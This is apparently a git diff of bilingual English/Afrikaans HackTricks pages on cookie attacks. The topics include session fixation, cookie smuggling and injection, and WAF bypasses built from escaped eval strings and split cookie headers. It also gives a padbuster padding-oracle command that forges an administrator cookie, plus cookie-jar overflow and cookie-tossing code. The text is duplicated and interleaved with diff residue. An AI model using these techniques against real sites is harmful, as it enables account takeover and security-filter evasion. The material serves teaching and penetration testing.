- 'n Ander manier is die uitbuiting van nul/dag kwesbaarhede van die blaaiers.
- Dit is moontlik om **HttpOnly koekies** te oorskry deur 'n Koekie Jar oorgeloop aanval uit te voer:
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
- It's possible to use [**Cookie Smuggling**](./#cookie-smuggling) attack to exfiltrate these cookies
- Dit is moontlik om [**Koekie Smuggling**](./#cookie-smuggling) aanval te gebruik om hierdie koekies te ekfiltreer.
### Secure
### Veilige
The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**).
Die versoek sal **slegs** die koekie in 'n HTTP versoek stuur as die versoek oor 'n veilige kanaal (tipies **HTTPS**) oorgedra word.
## Cookies Prefixes
## Koekies Vooraf
Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
Koekies wat met `__Secure-` begin, moet saam met die `secure` vlag van bladsye wat deur HTTPS beveilig is, ingestel word.
For cookies prefixed with `__Host-`, several conditions must be met:
Vir koekies wat met `__Host-` begin, moet verskeie voorwaardes nagekom word:
- They must be set with the `secure` flag.
- They must originate from a page secured by HTTPS.
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
- The path for these cookies must be set to `/`.
- Hulle moet met die `secure` vlag ingestel word.
- Hulle moet afkomstig wees van 'n bladsy wat deur HTTPS beveilig is.
- Hulle is verbode om 'n domein te spesifiseer, wat hul oordrag na subdomeine voorkom.
- Die pad vir hierdie koekies moet op `/` ingestel wees.
It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
Dit is belangrik om op te let dat koekies wat met `__Host-` begin, nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om toepassingskoekies te isoleer. Dus, om die `__Host-` voorvoegsel vir alle toepassingskoekies te gebruik, kan beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
### Overwriting cookies
### Oorskry van koekies
So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:
So, een van die beskermings van `__Host-` voorvoegsel koekies is om te voorkom dat hulle van subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Koekie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Koekies Krummel: Ontsluiting van Web Sessies Integriteit Kwesbaarhede**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- voorvoegsel koekies van subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde by te voeg...:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Or in PHP it was possible to add **other characters at the beginning** of the cookie name that were going to be **replaced by underscore** characters, allowing to overwrite `__HOST-` cookies:
Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekie naam by te voeg wat **vervang sou word deur onderstreep** karakters, wat dit moontlik maak om `__HOST-` koekies te oorskry:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
## Koekies Aanvalle
If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
As 'n pasgemaakte koekie sensitiewe data bevat, kyk dit (veral as jy 'n CTF speel), aangesien dit kwesbaar mag wees.
### Decoding and Manipulating Cookies
### Dekodering en Manipulering van Koekies
Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie.
Sensitiewe data wat in koekies ingebed is, moet altyd ondersoek word. Koekies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels gedekodeer word. Hierdie kwesbaarheid laat aanvallers toe om die koekie se inhoud te verander en ander gebruikers na te boots deur hul gewysigde data weer in die koekie te kodeer.
### Session Hijacking
### Sessiediefstal
This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.
Hierdie aanval behels die steel van 'n gebruiker se koekie om ongeoorloofde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die wettige gebruiker naboots.
### Session Fixation
### Sessiefiksasie
In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.
In hierdie scenario bedrieg 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te log. As die toepassing nie 'n nuwe koekie toeken nie wanneer daar ingelog word, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer naboots. Hierdie tegniek is afhanklik van die slagoffer wat met 'n koekie wat deur die aanvaller verskaf is, inlog.
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
{{#ref}}
cookie-tossing.md
{{#endref}}
### Session Donation
### Sessiedonasie
Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.
Hier oortuig die aanvaller die slagoffer om die aanvaller se sessie koekie te gebruik. Die slagoffer, wat glo dat hulle in hul eie rekening ingelog is, sal onbewustelik aksies in die konteks van die aanvaller se rekening uitvoer.
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
{{#ref}}
cookie-tossing.md
{{#endref}}
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
### [JWT Koekies](../hacking-jwt-json-web-tokens.md)
Click on the previous link to access a page explaining possible flaws in JWT.
Klik op die vorige skakel om toegang te verkry tot 'n bladsy wat moontlike gebreke in JWT verduidelik.
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële gebreke en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hack van JWT te raadpleeg.
### Cross-Site Request Forgery (CSRF)
### Kruis-web Versoek Forgery (CSRF)
This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.
Hierdie aanval dwing 'n ingelogde gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarin hulle tans geverifieer is. Aanvallers kan koekies wat outomaties met elke versoek na die kwesbare webwerf gestuur word, benut.
### Empty Cookies
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
### Leë Koekies
(Kyk verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Blaaiers laat die skepping van koekies sonder 'n naam toe, wat deur JavaScript soos volg demonstreer kan word:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
The result in the sent cookie header is `a=v1; test value; b=v2;`. Intriguingly, this allows for the manipulation of cookies if an empty name cookie is set, potentially controlling other cookies by setting the empty cookie to a specific value:
Die resultaat in die gestuurde koekie kop is `a=v1; test value; b=v2;`. Interessant genoeg, dit stel die manipulasie van koekies in staat as 'n leë naam koekie gestel word, wat moontlik ander koekies kan beheer deur die leë koekie na 'n spesifieke waarde te stel:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
Dit lei daartoe dat die blaaiert 'n koekie-kop stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` en 'n waarde `b`.
This leads to the browser sending a cookie header interpreted by every web server as a cookie named `a` with a value `b`.
#### Chrome Bug: Unicode Surrogate Codepoint Issue
In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently:
#### Chrome Fout: Unicode Surrogate Codepoint Probleem
In Chrome, as 'n Unicode surrogate codepoint deel is van 'n stel koekie, word `document.cookie` beskadig, wat 'n leë string teruggee:
```js
document.cookie = "\ud800=meep"
```
Dit lei tot `document.cookie` wat 'n leë string uitset, wat permanente korrupsie aandui.
This results in `document.cookie` outputting an empty string, indicating permanent corruption.
#### Cookie Smuggling Due to Parsing Issues
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:
#### Koekie Smuggling Weens Parsing Probleme
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekie stringe verkeerdelik weens verouderde RFC2965 ondersteuning. Hulle lees 'n dubbel-aanhaling koekiewaarde as 'n enkele waarde, selfs al sluit dit puntkommas in, wat normaalweg sleutel-waarde pare moet skei:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Koekie-inspuitingskwesbaarhede
#### Cookie Injection Vulnerabilities
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die onkorrekte ontleding van koekies deur bedieners, veral Undertow, Zope, en dié wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitingsaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik te begrens nie, wat dit moontlik maak vir aanvallers om koekies na te maak:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:
- Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
- Zope soek 'n komma om die volgende koekie te begin ontleed.
- Python se koekieklasse begin ontleed op 'n spasiekarakter.
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
- Zope looks for a comma to start parsing the next cookie.
- Python's cookie classes start parsing on a space character.
Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat op koekie-gebaseerde CSRF-beskerming staatmaak, aangesien dit aanvallers in staat stel om nagebootste CSRF-token koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekiename, waar die laaste voorkoms vroeëre oorskry. Dit wek ook kommer oor `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot magtigingsoorskryding wanneer koekies aan agtergrondbedieners oorgedra word wat vatbaar is vir nabootsing.
This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.
### Koekies $version en WAF-omseilings
### Cookies $version and WAF bypasses
Volgens [**hierdie blogpos**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), mag dit moontlik wees om die koekie-attribuut **`$Version=1`** te gebruik om die agtergrond te dwing om 'n ou logika te gebruik om die koekie te ontleed weens die **RFC2109**. Boonop kan ander waardes soos **`$Domain`** en **`$Path`** gebruik word om die gedrag van die agtergrond met die koekie te verander.
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.
#### Omseiling van waardeanalis met aangehaalde-string kodering
#### Bypassing value analysis with quoted-string encoding
Hierdie ontleding dui aan om ontsnapte waardes binne die koekies te ontsnap, sodat "\a" "a" word. Dit kan nuttig wees om WAFS te omseil soos:
This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as:
- `eval('test') => verbode`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => toegelaat`
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Omseiling van koekie-naam bloklys
#### Bypassing cookie-name blocklists
In die RFC2109 word aangedui dat 'n **komma as 'n skeidingsteken tussen koekiewaardes gebruik kan word**. En dit is ook moontlik om **spasies en tabulasies voor en na die gelykteken by te voeg**. Daarom genereer 'n koekie soos `$Version=1; foo=bar, abc = qux` nie die koekie `"foo":"bar, admin = qux"` nie, maar die koekies `foo":"bar"` en `"admin":"qux"`. Let op hoe 2 koekies gegenereer word en hoe admin die spasie voor en na die gelykteken verwyder is.
In the RFC2109 it's indicated that a **comma can be used as a separator between cookie values**. And also it's possible to add **spaces and tabs before an after the equal sign**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.
#### Bypassing value analysis with cookie splitting
Finally different backdoors would join in a string different cookies passed in different cookie headers like in:&#x20;
#### Omseiling van waardeanalis met koekieskeiding
Laastens sou verskillende agterdeure in 'n string verskillende koekies wat in verskillende koekie-koptekste oorgedra word, saamvoeg soos in:&#x20;
```
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
Which could allow to bypass a WAF like in this example:
Wat kan toelaat om 'n WAF te omseil soos in hierdie voorbeeld:
```
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### Ekstra Kwetsbare Koekies Kontroles
### Extra Vulnerable Cookies Checks
#### **Basiese kontroles**
#### **Basic checks**
- Die **koekie** is die **selfde** elke keer wanneer jy **aanmeld**.
- Meld af en probeer om dieselfde koekie te gebruik.
- Probeer om met 2 toestelle (of blaaiers) na dieselfde rekening aan te meld met die selfde koekie.
- Kontroleer of die koekie enige inligting daarin het en probeer om dit te wysig.
- Probeer om verskeie rekeninge met amper dieselfde gebruikersnaam te skep en kyk of jy ooreenkomste kan sien.
- Kontroleer die "**onthou my**" opsie indien dit bestaan om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die koekie van **onthou my** sonder enige ander koekie.
- Kontroleer of die vorige koekie werk selfs nadat jy die wagwoord verander.
- The **cookie** is the **same** every time you **login**.
- Log out and try to use the same cookie.
- Try to log in with 2 devices (or browsers) to the same account using the same cookie.
- Check if the cookie has any information in it and try to modify it
- Try to create several accounts with almost the same username and check if you can see similarities.
- Check the "**remember me**" option if it exists to see how it works. If it exists and could be vulnerable, always use the cookie of **remember me** without any other cookie.
- Check if the previous cookie works even after you change the password.
#### **Geavanceerde koekie-aanvalle**
#### **Advanced cookies attacks**
As die koekie dieselfde bly (of amper) wanneer jy aanmeld, beteken dit waarskynlik dat die koekie verband hou met 'n veld van jou rekening (waarskynlik die gebruikersnaam). Dan kan jy:
If the cookie remains the same (or almost) when you log in, this probably means that the cookie is related to some field of your account (probably the username). Then you can:
- Try to create a lot of **accounts** with usernames very **similar** and try to **guess** how the algorithm is working.
- Try to **bruteforce the username**. If the cookie saves only as an authentication method for your username, then you can create an account with username "**Bmin**" and **bruteforce** every single **bit** of your cookie because one of the cookies that you will try will the one belonging to "**admin**".
- Try **Padding** **Oracle** (you can decrypt the content of the cookie). Use **padbuster**.
**Padding Oracle - Padbuster examples**
- Probeer om baie **rekeninge** met gebruikersname wat baie **soortgelyk** is te skep en probeer om te **raai** hoe die algoritme werk.
- Probeer om die **gebruikersnaam te bruteforce**. As die koekie slegs as 'n verifikasietegniek vir jou gebruikersnaam stoor, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **bruteforce** omdat een van die koekies wat jy sal probeer die een behoort aan "**admin**".
- Probeer **Padding** **Oracle** (jy kan die inhoud van die koekie ontsleutel). Gebruik **padbuster**.
**Padding Oracle - Padbuster voorbeelde**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -255,47 +242,43 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster sal verskeie pogings maak en jou vra watter voorwaarde die foutvoorwaarde is (die een wat nie geldig is nie).
Padbuster will make several attempts and will ask you which condition is the error condition (the one that is not valid).
Then it will start decrypting the cookie (it may take several minutes)
If the attack has been successfully performed, then you could try to encrypt a string of your choice. For example, if you would want to **encrypt** **user=administrator**
Dan sal dit begin om die koekie te ontsleutel (dit kan 'n paar minute neem)
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy sou wil **enkripteer** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
Hierdie uitvoering sal jou die koekie korrek versleuteld en gekodeer gee met die string **user=administrator** binne-in.
**CBC-MAC**
Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.
Miskien kan 'n koekie 'n waarde hê en kan dit onderteken word met CBC. Dan is die integriteit van die waarde die handtekening wat geskep is deur CBC met dieselfde waarde te gebruik. Aangesien dit aanbeveel word om 'n nulvektor as IV te gebruik, kan hierdie tipe integriteitskontrole kwesbaar wees.
**The attack**
**Die aanval**
1. Get the signature of username **administ** = **t**
2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
3. Set in the cookie the value **administrator+t'** (**t'** will be a valid signature of **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
1. Kry die handtekening van gebruikersnaam **administ** = **t**
2. Kry die handtekening van gebruikersnaam **rator\x00\x00\x00 XOR t** = **t'**
3. Stel in die koekie die waarde **administrator+t'** (**t'** sal 'n geldige handtekening wees van **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB**
If the cookie is encrypted using ECB it could be vulnerable.\
When you log in the cookie that you receive has to be always the same.
As die koekie met ECB versleuteld is, kan dit kwesbaar wees.\
Wanneer jy aanmeld, moet die koekie wat jy ontvang altyd dieselfde wees.
**How to detect and attack:**
**Hoe om te detecteer en aan te val:**
Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
Skep 2 gebruikers met byna dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegewe koekie te ontdek.
Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
Skep 'n gebruiker genaamd byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutelt, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
Daar moet 'n patroon wees (met die grootte van 'n gebruikte blok). So, deur te weet hoe 'n klomp "a" versleuteld is, kan jy 'n gebruikersnaam skep: "a"\*(grootte van die blok)+"admin". Dan kan jy die versleutelde patroon van 'n blok van "a" uit die koekie verwyder. En jy sal die koekie van die gebruikersnaam "admin" hê.
## References
## Verwysings
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,9 @@
{{#include ../../banners/hacktricks-training.md}}
**`Cookie bomb`** involves **adding a significant number of large cookies to a domain and its subdomains targeting a user**. This action results in the victim **sending oversized HTTP requests** to the server, which are subsequently **rejected by the server**. The consequence of this is the induction of a Denial of Service (DoS) specifically targeted at a user within that domain and its subdomains.
**`Cookie bomb`** behels **die toevoeging van 'n beduidende aantal groot koekies aan 'n domein en sy subdomeine wat 'n gebruiker teiken**. Hierdie aksie lei tot die slagoffer wat **oorgroot HTTP versoeke** na die bediener stuur, wat vervolgens **deur die bediener verwerp word**. Die gevolg hiervan is die induksie van 'n Denial of Service (DoS) spesifiek teiken op 'n gebruiker binne daardie domein en sy subdomeine.
A nice **example** can be seen in this write-up: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
'n Goeie **voorbeeld** kan gesien word in hierdie skrywe: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
And for more information, you can check this presentation: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
En vir meer inligting, kan jy hierdie aanbieding nagaan: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,22 @@
{{#include ../../banners/hacktricks-training.md}}
The browsers have a **limit on the number of cookies** that they can store for a page. Then, if for some reason you need to **make a cookie disappear**, you can **overflow the cookie jar** as the oldest ones will be deleted before:
Die blaaiers het 'n **grens op die aantal koekies** wat hulle vir 'n bladsy kan stoor. Dan, as jy om een of ander rede 'n **koekie wil laat verdwyn**, kan jy die **koekiehouer oorloop** aangesien die oudste eene verwyder sal word voordat:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
document.cookie = `cookie${i}=${i}; Secure`
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
```
Notice, that third party cookies pointing to a different domain won't be overwritten.
Let wel, dat derdeparty-koekies wat na 'n ander domein verwys, nie oorgeskryf sal word nie.
> [!CAUTION]
> This attack can also be used to **overwrite HttpOnly cookies as you can delete it and then reset it with the value you want**.
> Hierdie aanval kan ook gebruik word om **HttpOnly-koekies te oorgeskryf, aangesien jy dit kan verwyder en dan met die waarde wat jy wil, kan herstel**.
>
> Check this in [**this post with a lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
> Kontroleer dit in [**hierdie pos met 'n laboratorium**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,67 @@
# Cookie Tossing
# Koekie Tossing
{{#include ../../banners/hacktricks-training.md}}
### Description
### Beskrywing
If an attacker can **control a subdomain or the domain of a company or finds an XSS in a subdomain** he will be able to perform this attack.
As 'n aanvaller **'n subdomein of die domein van 'n maatskappy kan beheer of 'n XSS in 'n subdomein vind**, sal hy in staat wees om hierdie aanval uit te voer.
As it was indicated in the Cookies Hacking section, when a **cookie is set to a domain (specifying it) it will be used in the domain and subdomains.**
Soos aangedui in die Koekie Hacking afdeling, wanneer 'n **koekie aan 'n domein (wat dit spesifiseer) gestel word, sal dit in die domein en subdomeine gebruik word.**
> [!CAUTION]
> Therefore, **an attacker is going to be able to set to the domain and subdomains a specific cookie doing something like** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
> Daarom, **sal 'n aanvaller in staat wees om 'n spesifieke koekie aan die domein en subdomeine te stel deur iets soos** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
This can be dangerous as the attacker may be able to:
Dit kan gevaarlik wees aangesien die aanvaller in staat mag wees om:
- **Fixate the cookie of the victim to the attacker's account** so if the user doesn't notice, **he will perform the actions in the attacker's account** and the attacker may obtain some interesting information (check the history of the searches of the user in the platform, the victim may set his credit card in the account...)
- If the **cookie doesn't change after login**, the attacker may just **fixate a cookie (session-fixation)**, wait until the victim logs in and then **use that cookie to log in as the victim**.
- Sometimes, even if the session cookies changes, the attacker use the previous one and he will receive the new one also.
- If the **cookie is setting some initial value** (like in flask where the **cookie** may **set** the **CSRF token** of the session and this value will be maintained after the victim logs in), the **attacker may set this known value and then abuse it** (in that scenario, the attacker may then make the user perform a CSRF request as he knows the CSRF token).
- Just like setting the value, the attacker could also get an unauthenticated cookie generated by the server, get the CSRF token from it and use it.
- **Die koekie van die slagoffer aan die aanvaller se rekening te fixe** sodat as die gebruiker nie opgemerk nie, **hy die aksies in die aanvaller se rekening sal uitvoer** en die aanvaller mag interessante inligting verkry (kyk na die geskiedenis van die gebruiker se soektogte op die platform, die slagoffer mag sy kredietkaart in die rekening stel...)
- As die **koekie nie verander na aanmelding nie**, kan die aanvaller net **'n koekie fixe (sessie-fixasie)**, wag totdat die slagoffer aanmeld en dan **daardie koekie gebruik om as die slagoffer aan te meld**.
- Soms, selfs al verander die sessie koekies, gebruik die aanvaller die vorige een en sal hy ook die nuwe een ontvang.
- As die **koekie 'n aanvanklike waarde stel** (soos in flask waar die **koekie** die **CSRF-token** van die sessie mag **stel** en hierdie waarde sal gehandhaaf word nadat die slagoffer aanmeld), kan die **aanvaller hierdie bekende waarde stel en dit dan misbruik** (in daardie scenario kan die aanvaller dan die gebruiker dwing om 'n CSRF-versoek uit te voer aangesien hy die CSRF-token ken).
- Net soos om die waarde te stel, kan die aanvaller ook 'n nie-geverifieerde koekie wat deur die bediener gegenereer is, verkry, die CSRF-token daaruit verkry en dit gebruik.
### Cookie Order
### Koekie Bestelling
When a browser receives two cookies with the same name **partially affecting the same scope** (domain, subdomains and path), the **browser will send both values of the cookie** when both are valid for the request.
Wanneer 'n blaaier twee koekies met dieselfde naam **gedeeltelik die samelewing beïnvloed** (domein, subdomeine en pad), sal die **blaaier albei waardes van die koekie stuur** wanneer albei geldig is vir die versoek.
Depending on who has **the most specific path** or which one is the **oldest one**, the browser will **set the value of the cookie first** and then the value of the other one like in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Afhangende van wie **die mees spesifieke pad het** of watter een die **oudste een is**, sal die blaaiers **eers die waarde van die koekie stel** en dan die waarde van die ander een soos in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path.
Meeste **webwerwe sal net die eerste waarde gebruik**. Dan, as 'n aanvaller 'n koekie wil stel, is dit beter om dit te stel voordat 'n ander een gestel word of dit met 'n meer spesifieke pad te stel.
> [!WARNING]
> Moreover, the capability to **set a cookie in a more specific path** is very interesting as you will be able to make the **victim work with his cookie except in the specific path where the malicious cookie set will be sent before**.
> Boonop is die vermoë om **'n koekie in 'n meer spesifieke pad te stel** baie interessant aangesien jy die **slagoffer kan laat werk met sy koekie behalwe in die spesifieke pad waar die kwaadwillige koekie gestel sal word voordat**.
### Protection Bypass
### Beskerming Omseiling
Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**.
Mogelijke beskerming teen hierdie aanval sou wees dat die **webbediener nie versoeke met twee koekies met dieselfde naam maar twee verskillende waardes sal aanvaar nie**.
To bypass the scenario where the attacker is setting a cookie after the victim was already given the cookie, the attacker could cause a **cookie overflow** and then, once the **legit cookie is deleted, set the malicious one**.
Om die scenario te omseil waar die aanvaller 'n koekie stel nadat die slagoffer reeds die koekie ontvang het, kan die aanvaller 'n **koekie oorgang** veroorsaak en dan, sodra die **legitieme koekie verwyder is, die kwaadwillige een stel**.
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies.
